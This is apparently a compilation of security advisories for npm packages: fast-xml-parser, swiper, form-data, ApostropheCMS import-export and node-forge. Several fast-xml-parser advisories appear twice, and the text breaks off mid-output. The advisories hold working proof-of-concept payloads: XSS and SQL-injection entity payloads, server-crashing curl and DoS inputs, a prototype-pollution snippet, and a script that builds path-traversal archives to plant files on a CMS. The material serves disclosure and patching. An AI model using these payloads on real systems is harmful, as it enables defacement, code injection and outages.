Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.

Details

The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.

In DocTypeReader.js, entity names are passed directly to RegExp():

entities[entityName] = {
    regx: RegExp(`&${entityName};`, "g"),
    val: val
};

An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.

The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:

// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+";  // no dot

Shadowing all 5 built-in entities

Entity name	Regex created	Shadows
l.	/&l.;/g	<
g.	/&g.;/g	>
am.	/&am.;/g	&
quo.	/&quo.;/g	"
apo.	/&apo.;/g	'

PoC

const { XMLParser } = require("fast-xml-parser");

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
  <text>Hello &lt;b&gt;World&lt;/b&gt;</text>
</root>`;

const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>

No special parser options needed - processEntities: true is the default.

When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.

& can be shadowed too:

const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;

const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'

Impact

This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.

• Default config, no special options
• Attacker can replace any < / > / & / " / ' with arbitrary strings
• Direct XSS vector when parsed XML content is rendered in a page
• v5 and v6 both affected

Suggested fix

Escape regex metacharacters before constructing the replacement regex:

const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
    regx: RegExp(`&${escaped};`, "g"),
    val: val
};

For v6, add . to the blacklist in validateEntityName:

const specialChar = "!?\\/[].{}^&*()<>|+";

Severity

CWE-185 (Incorrect Regular Expression)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)

Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.

Summary

The fix for CVE-2026-26278 added entity expansion limits (maxTotalExpansions, maxExpandedLength, maxEntityCount, maxEntitySize) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. Numeric character references (&#NNN; and &#xHH;) and standard XML entities (<, >, etc.) are processed through a separate code path that does NOT enforce any expansion limits.

An attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.

Affected Versions

fast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)

Root Cause

In src/xmlparser/OrderedObjParser.js, the replaceEntitiesValue() function has two separate entity replacement loops:

1. Lines 638-670: DOCTYPE entities — expansion counting with entityExpansionCount and currentExpandedLength tracking. This was the CVE-2026-26278 fix.
2. Lines 674-677: lastEntities loop — replaces standard entities including num_dec (/&#([0-9]{1,7});/g) and num_hex (/&#x([0-9a-fA-F]{1,6});/g). This loop has NO expansion counting at all.

The numeric entity regex replacements at lines 97-98 are part of lastEntities and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.

Proof of Concept

const { XMLParser } = require('fast-xml-parser');

// Even with strict explicit limits, numeric entities bypass them
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxTotalExpansions: 10,
    maxExpandedLength: 100,
    maxEntityCount: 1,
    maxEntitySize: 10
  }
});

// 100K numeric entity references — should be blocked by maxTotalExpansions=10
const xml = `<root>${'&#65;'.repeat(100000)}</root>`;
const result = parser.parse(xml);

// Output: 500,000 chars — bypasses maxExpandedLength=100 completely
console.log('Output length:', result.root.length);  // 500000
console.log('Expected max:', 100);  // limit was 100

Results:

• 100K A references → 500,000 char output (5x default maxExpandedLength of 100,000)
• 1M references → 5,000,000 char output, ~147MB memory consumed
• Even with maxTotalExpansions=10 and maxExpandedLength=100, 10K references produce 50,000 chars
• Hex entities (A) exhibit the same bypass

Impact

Denial of Service — An attacker who can provide XML input to applications using fast-xml-parser can cause:

• Excessive memory allocation (147MB+ for 1M entity references)
• CPU consumption during regex replacement
• Potential process crash via OOM

This is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.

Suggested Fix

Apply the same entityExpansionCount and currentExpandedLength tracking to the lastEntities loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.

Workaround

Set htmlEntities:false

Summary

The XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application.

Details

There is a check in DocTypeReader.js that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for & inside entity values). This does stop classic “Billion Laughs” payloads.

However, it doesn’t stop a much simpler variant.

If you define one large entity that contains only raw text (no & characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed.

The problem is in replaceEntitiesValue() inside OrderedObjParser.js. It repeatedly runs val.replace() in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes.

Relevant code:

DocTypeReader.js (lines 28–33): entity registration only checks for &

OrderedObjParser.js (lines 439–458): entity replacement loop with no limits

PoC

const { XMLParser } = require('fast-xml-parser');

const entity = 'A'.repeat(1000);
const refs = '&big;'.repeat(100);
const xml = `<!DOCTYPE foo [<!ENTITY big "${entity}">]><root>${refs}</root>`;

console.time('parse');
new XMLParser().parse(xml); // ~4–8 seconds for ~1.3 KB of XML
console.timeEnd('parse');

// 5,000 chars × 100 refs takes 200+ seconds
// 50,000 chars × 1,000 refs will hang indefinitely

Impact

This is a straightforward denial-of-service issue.

Any service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can’t handle any other requests.

In testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out.

Workaround

Avoid using DOCTYPE parsing by processEntities: false option.

Summary

A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., � or �). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

Details

The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:

"num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },

The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:

• [0-9]{1,7} matches up to 9,999,999
• [0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)

The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:

val = val.replace(entity.regex, entity.val);

This causes the RangeError to propagate uncaught, crashing the parser and any application using it.

PoC

Setup

Create a directory with these files:

poc/
├── package.json
├── server.js

package.json

{ "dependencies": { "fast-xml-parser": "^5.3.3" } }

server.js

const http = require('http');
const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/parse') {
    let body = '';
    req.on('data', c => body += c);
    req.on('end', () => {
      const result = parser.parse(body);  // No try-catch - will crash!
      res.end(JSON.stringify(result));
    });
  } else {
    res.end('POST /parse with XML body');
  }
}).listen(3000, () => console.log('http://localhost:3000'));

Run

# Setup
npm install

# Terminal 1: Start server
node server.js

# Terminal 2: Send malicious payload (server will crash)
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#9999999;</root>' http://localhost:3000/parse

Result

Server crashes with:

RangeError: Invalid code point 9999999

Alternative Payloads

<!-- Hex variant -->
<?xml version="1.0"?><root>&#xFFFFFF;</root>

<!-- In attribute -->
<?xml version="1.0"?><root attr="&#9999999;"/>

Impact

Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

• API servers accepting XML payloads
• File processors parsing uploaded XML files
• Message queues consuming XML messages
• RSS/Atom feed parsers
• SOAP/XML-RPC services

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.

Details

The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.

In DocTypeReader.js, entity names are passed directly to RegExp():

entities[entityName] = {
    regx: RegExp(`&${entityName};`, "g"),
    val: val
};

An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.

The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:

// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+";  // no dot

Shadowing all 5 built-in entities

Entity name	Regex created	Shadows
l.	/&l.;/g	<
g.	/&g.;/g	>
am.	/&am.;/g	&
quo.	/&quo.;/g	"
apo.	/&apo.;/g	'

PoC

const { XMLParser } = require("fast-xml-parser");

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
  <text>Hello &lt;b&gt;World&lt;/b&gt;</text>
</root>`;

const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>

No special parser options needed - processEntities: true is the default.

When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.

& can be shadowed too:

const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;

const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'

Impact

This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.

• Default config, no special options
• Attacker can replace any < / > / & / " / ' with arbitrary strings
• Direct XSS vector when parsed XML content is rendered in a page
• v5 and v6 both affected

Suggested fix

Escape regex metacharacters before constructing the replacement regex:

const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
    regx: RegExp(`&${escaped};`, "g"),
    val: val
};

For v6, add . to the blacklist in validateEntityName:

const specialChar = "!?\\/[].{}^&*()<>|+";

Severity

CWE-185 (Incorrect Regular Expression)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)

Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.

Summary

The fix for CVE-2026-26278 added entity expansion limits (maxTotalExpansions, maxExpandedLength, maxEntityCount, maxEntitySize) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. Numeric character references (&#NNN; and &#xHH;) and standard XML entities (<, >, etc.) are processed through a separate code path that does NOT enforce any expansion limits.

An attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.

Affected Versions

fast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)

Root Cause

In src/xmlparser/OrderedObjParser.js, the replaceEntitiesValue() function has two separate entity replacement loops:

1. Lines 638-670: DOCTYPE entities — expansion counting with entityExpansionCount and currentExpandedLength tracking. This was the CVE-2026-26278 fix.
2. Lines 674-677: lastEntities loop — replaces standard entities including num_dec (/&#([0-9]{1,7});/g) and num_hex (/&#x([0-9a-fA-F]{1,6});/g). This loop has NO expansion counting at all.

The numeric entity regex replacements at lines 97-98 are part of lastEntities and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.

Proof of Concept

const { XMLParser } = require('fast-xml-parser');

// Even with strict explicit limits, numeric entities bypass them
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxTotalExpansions: 10,
    maxExpandedLength: 100,
    maxEntityCount: 1,
    maxEntitySize: 10
  }
});

// 100K numeric entity references — should be blocked by maxTotalExpansions=10
const xml = `<root>${'&#65;'.repeat(100000)}</root>`;
const result = parser.parse(xml);

// Output: 500,000 chars — bypasses maxExpandedLength=100 completely
console.log('Output length:', result.root.length);  // 500000
console.log('Expected max:', 100);  // limit was 100

Results:

• 100K A references → 500,000 char output (5x default maxExpandedLength of 100,000)
• 1M references → 5,000,000 char output, ~147MB memory consumed
• Even with maxTotalExpansions=10 and maxExpandedLength=100, 10K references produce 50,000 chars
• Hex entities (A) exhibit the same bypass

Impact

Denial of Service — An attacker who can provide XML input to applications using fast-xml-parser can cause:

• Excessive memory allocation (147MB+ for 1M entity references)
• CPU consumption during regex replacement
• Potential process crash via OOM

This is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.

Suggested Fix

Apply the same entityExpansionCount and currentExpandedLength tracking to the lastEntities loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.

Workaround

Set htmlEntities:false

Summary

The XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application.

Details

There is a check in DocTypeReader.js that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for & inside entity values). This does stop classic “Billion Laughs” payloads.

However, it doesn’t stop a much simpler variant.

If you define one large entity that contains only raw text (no & characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed.

The problem is in replaceEntitiesValue() inside OrderedObjParser.js. It repeatedly runs val.replace() in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes.

Relevant code:

DocTypeReader.js (lines 28–33): entity registration only checks for &

OrderedObjParser.js (lines 439–458): entity replacement loop with no limits

PoC

const { XMLParser } = require('fast-xml-parser');

const entity = 'A'.repeat(1000);
const refs = '&big;'.repeat(100);
const xml = `<!DOCTYPE foo [<!ENTITY big "${entity}">]><root>${refs}</root>`;

console.time('parse');
new XMLParser().parse(xml); // ~4–8 seconds for ~1.3 KB of XML
console.timeEnd('parse');

// 5,000 chars × 100 refs takes 200+ seconds
// 50,000 chars × 1,000 refs will hang indefinitely

Impact

This is a straightforward denial-of-service issue.

Any service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can’t handle any other requests.

In testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out.

Workaround

Avoid using DOCTYPE parsing by processEntities: false option.

Summary

A prototype pollution vulnerability exists in the the npm package swiper (>=6.5.1, < 12.1.2). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. The exploit works across Windows and Linux and on Node and Bun runtimes. This issue is fixed in version 12.1.2

Details

The vulnerability resides in line 94 of shared/utils.mjs where indexOf() function is used to check whether user provided input contain forbidden strings.

PoC

Steps to reproduce

1. Install latest version of swiper using npm install
2. Run the following code snippet:

var swiper = require('swiper');
Array.prototype.indexOf = () => -1;        
let obj = {};
var malicious_payload = '{"__proto__":{"polluted":"yes"}}';
console.log({}.polluted);
swiper.default.extendDefaults(JSON.parse(malicious_payload));
console.log({}.polluted);  // prints yes -> indicating that the patch was bypassed and prototype pollution occurred

Expected behavior

Prototype pollution should be prevented and {} should not gain new properties.
This should be printed on the console:

undefined
undefined OR throw an Error

Actual behavior

Object.prototype is polluted
This is printed on the console:

undefined 
yes

Impact

This is a prototype pollution vulnerability, which can have severe security implications depending on how swiper is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected.
It could potentially lead to the following problems:

1. Authentication bypass
2. Denial of service - Even if an attacker is not able to exploit prototype pollution in swiper, if there is a prototype pollution within the project from other dependencies, modifying global Array.prototype.indexOf property can result in crash when swiper.default.extendDefaults is called because swiper makes use of this global property. This can lead to Denial of Service.
3. Remote code execution (if polluted property is passed to sinks like eval or child_process)

Related CVEs

CVE-2026-25521
CVE-2026-25047
CVE-2026-26021

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

1. can observe other values produced by Math.random in the target application, and
2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

• Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
• Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

Reported: 2026-03-08
Status: patched and released in version 3.5.3 of @apostrophecms/import-export

---

Product

Field	Value
Repository	apostrophecms/apostrophe (monorepo)
Affected Package	@apostrophecms/import-export
Affected File	packages/import-export/lib/formats/gzip.js
Affected Function	extract(filepath, exportPath) — lines ~132–157
Minimum Required Permission	Global Content Modify (any editor-level user with import access)

---

Vulnerability Summary

The extract() function in gzip.js constructs file-write paths using:

fs.createWriteStream(path.join(exportPath, header.name))

path.join() does not resolve or sanitise traversal segments such as ../. It concatenates them as-is, meaning a tar entry named ../../evil.js resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened.

This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission — a role routinely assigned to content editors and site managers — can upload a crafted .tar.gz file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem.

---

Security Impact

This vulnerability provides unauthenticated-equivalent arbitrary file write to any user with content editor permissions. The full impact chain is:

1. Arbitrary File Write

Write any file to any path the Node.js process user can access. Confirmed writable targets in testing:

• Any path the CMS process has permission to

2. Static Web Directory — Defacement & Malicious Asset Injection

ApostropheCMS serves <project-root>/public/ via Express static middleware:

// packages/apostrophe/modules/@apostrophecms/asset/index.js
express.static(self.apos.rootDir + '/public', self.options.static || {})

A traversal payload targeting public/ makes any uploaded file directly HTTP-accessible:

This enables:

• Full site defacement
• Serving phishing pages from the legitimate CMS domain
• Injecting malicious JavaScript served to all site visitors (stored XSS at scale)

3. Persistent Backdoor / RCE (Post-Restart)

If the traversal targets any .js file loaded by Node.js on startup (e.g., a module index.js, a config file, a routes file), the payload becomes a persistent backdoor that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure — meaning the attacker does not need to manually trigger one.

4. Credential and Secret File Overwrite

Overwrite .env, app.config.js, database seed files, or any config file to:

• Exfiltrate database credentials on next load
• Redirect authentication to an attacker-controlled backend
• Disable security controls (rate limiting, MFA, CSRF)

5. Denial of Service

Overwrite any critical application file (package.json, node_modules entries, etc.) with garbage data, rendering the application unbootable.

---

Required Permission

Global Content Modify — this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is not an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed.

---

Proof of Concept

Two PoC artifacts are provided:

File	Purpose
tmp-import-export-zip-slip-poc.js	Automated Node.js harness — verifies the write happens without a browser
make-slip-tar.py	Attacker tool — generates a real .tar.gz for upload via the CMS web UI

---

PoC 1 — Automated Verification (tmp-import-export-zip-slip-poc.js)

const fs = require('node:fs');
const fsp = require('node:fs/promises');
const path = require('node:path');
const os = require('node:os');
const zlib = require('node:zlib');
const tar = require('tar-stream');

const gzipFormat = require('./packages/import-export/lib/formats/gzip.js');

async function makeArchive(archivePath) {
  const pack = tar.pack();
  const gzip = zlib.createGzip();
  const out = fs.createWriteStream(archivePath);

  const done = new Promise((resolve, reject) => {
    out.on('finish', resolve);
    out.on('error', reject);
    gzip.on('error', reject);
    pack.on('error', reject);
  });

  pack.pipe(gzip).pipe(out);

  pack.entry({ name: 'aposDocs.json' }, '[]');
  pack.entry({ name: 'aposAttachments.json' }, '[]');

  // Traversal payload
  pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNED_FROM_TAR');

  pack.finalize();
  await done;
}

(async () => {
  const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-'));
  const archivePath = path.join(base, 'evil-export.gz');
  const exportPath = archivePath.replace(/\.gz$/, '');

  await makeArchive(archivePath);

  const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt');

  // Ensure clean pre-state
  try { await fsp.unlink(expectedOutsideWrite); } catch (_) {}

  await gzipFormat.input(archivePath);

  const exists = fs.existsSync(expectedOutsideWrite);
  const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : '';

  console.log('EXPORT_PATH:', exportPath);
  console.log('EXPECTED_OUTSIDE_WRITE:', expectedOutsideWrite);
  console.log('ZIP_SLIP_WRITE_HAPPENED:', exists);
  console.log('WRITTEN_CONTENT:', content.trim());
})();

Run:

node .\tmp-import-export-zip-slip-poc.js

Observed output (confirmed):

EXPORT_PATH:            C:\Users\...\AppData\Local\Temp\apos-zip-slip-XXXXXX\evil-export
EXPECTED_OUTSIDE_WRITE: C:\Users\...\AppData\Local\Temp\zip-slip-pwned.txt
ZIP_SLIP_WRITE_HAPPENED: true
WRITTEN_CONTENT:        PWNED_FROM_TAR

The file zip-slip-pwned.txt is written two directories above the extraction root, confirming path traversal.

---

PoC 2 — Web UI Exploitation (make-slip-tar.py)

Script (make-slip-tar.py):

import tarfile, io, sys

if len(sys.argv) != 3:
    print("Usage: python make-slip-tar.py <payload_file> <target_path>")
    sys.exit(1)

payload_file = sys.argv[1]
target_path  = sys.argv[2]
out = "evil-slip.tar.gz"

with open(payload_file, "rb") as f:
    payload = f.read()

with tarfile.open(out, "w:gz") as t:
    docs = io.BytesIO(b"[]")
    info = tarfile.TarInfo("aposDocs.json")
    info.size = len(docs.getvalue())
    t.addfile(info, docs)

    atts = io.BytesIO(b"[]")
    info = tarfile.TarInfo("aposAttachments.json")
    info.size = len(atts.getvalue())
    t.addfile(info, atts)

    info = tarfile.TarInfo(target_path)
    info.size = len(payload)
    t.addfile(info, io.BytesIO(payload))

print("created", out)

---

Steps to Reproduce (Web UI — Real Exploitation)

Step 1 — Create the payload file

Create a file with the content you want to write to the server. For a static web directory write:

echo "<!-- injected by attacker --><script>alert('XSS')</script>" > payload.html

Step 2 — Generate the malicious archive

Use the traversal path that reaches the CMS public/ directory. The number of ../ segments depends on where the CMS stores its temporary extraction directory relative to the project root — typically 2–4 levels up. Adjust as needed:

python make-slip-tar.py payload.html "../../../../<project-root>/public/injected.html"

This creates evil-slip.tar.gz containing:

• aposDocs.json — empty, required by the importer
• aposAttachments.json — empty, required by the importer
• ../../../../<project-root>/public/injected.html — the traversal payload

Step 3 — Upload via CMS Import UI

1. Log in to the CMS with any account that has Global Content Modify permission.
2. Navigate to Open Global Settings → More Options → Import.
3. Select evil-slip.tar.gz and click Import.
4. The CMS accepts the file and begins extraction — no error is shown.

Step 4 — Confirm the write

curl http://localhost:3000/injected.html

Expected response:

<!-- injected by attacker --><script>alert('XSS')</script>

The file is now being served from the CMS's own domain to all visitors.

Video POC : https://drive.google.com/file/d/1bbuQnoJv_xjM_uvfjnstmTh07FB7VqGH/view?usp=sharing

---

Summary

An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs.

Details

An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge asn1.fromDer function within forge/lib/asn1.js. The ASN.1 DER parser implementation (_fromDer) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw RangeError: Maximum call stack size exceeded, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects.

Impact

This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing.

This vulnerability impacts the ans1.fromDer function in node-forge before patched version 1.3.2.

Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability.

Summary

CVE-2025-12816 has been reserved by CERT/CC

Description
An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.

Details

A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within forge/lib/asn1.js. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives.

This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type).

Impact

This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data.

This vulnerability impacts the ans1.validate function in node-forge before patched version 1.3.2.
https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js.

The following components in node-forge are impacted.
lib/asn1.js
lib/x509.js
lib/pkcs12.js
lib/pkcs7.js
lib/rsa.js
lib/pbe.js
lib/ed25519.js

Any downstream application using these components is impacted.

These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.

Summary

Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.

Impacted Deployments

Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5
Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.

Configuration assumptions:

• Default forge Ed25519 verify API path (ed25519.verify(...)).

Root Cause

In lib/ed25519.js, crypto_sign_open(...) uses the signature's last 32 bytes (S) directly in scalar multiplication:

scalarbase(q, sm.subarray(32));

There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.

Reproduction Steps

• Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5.
• Place and run the PoC script (poc.js) with node poc.js in the same level as the forge folder.
• The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (crypto.verify).
• Confirm output includes:

{
	"forge": {
		"original_valid": true,
		"tweaked_valid": true
	},
	"crypto": {
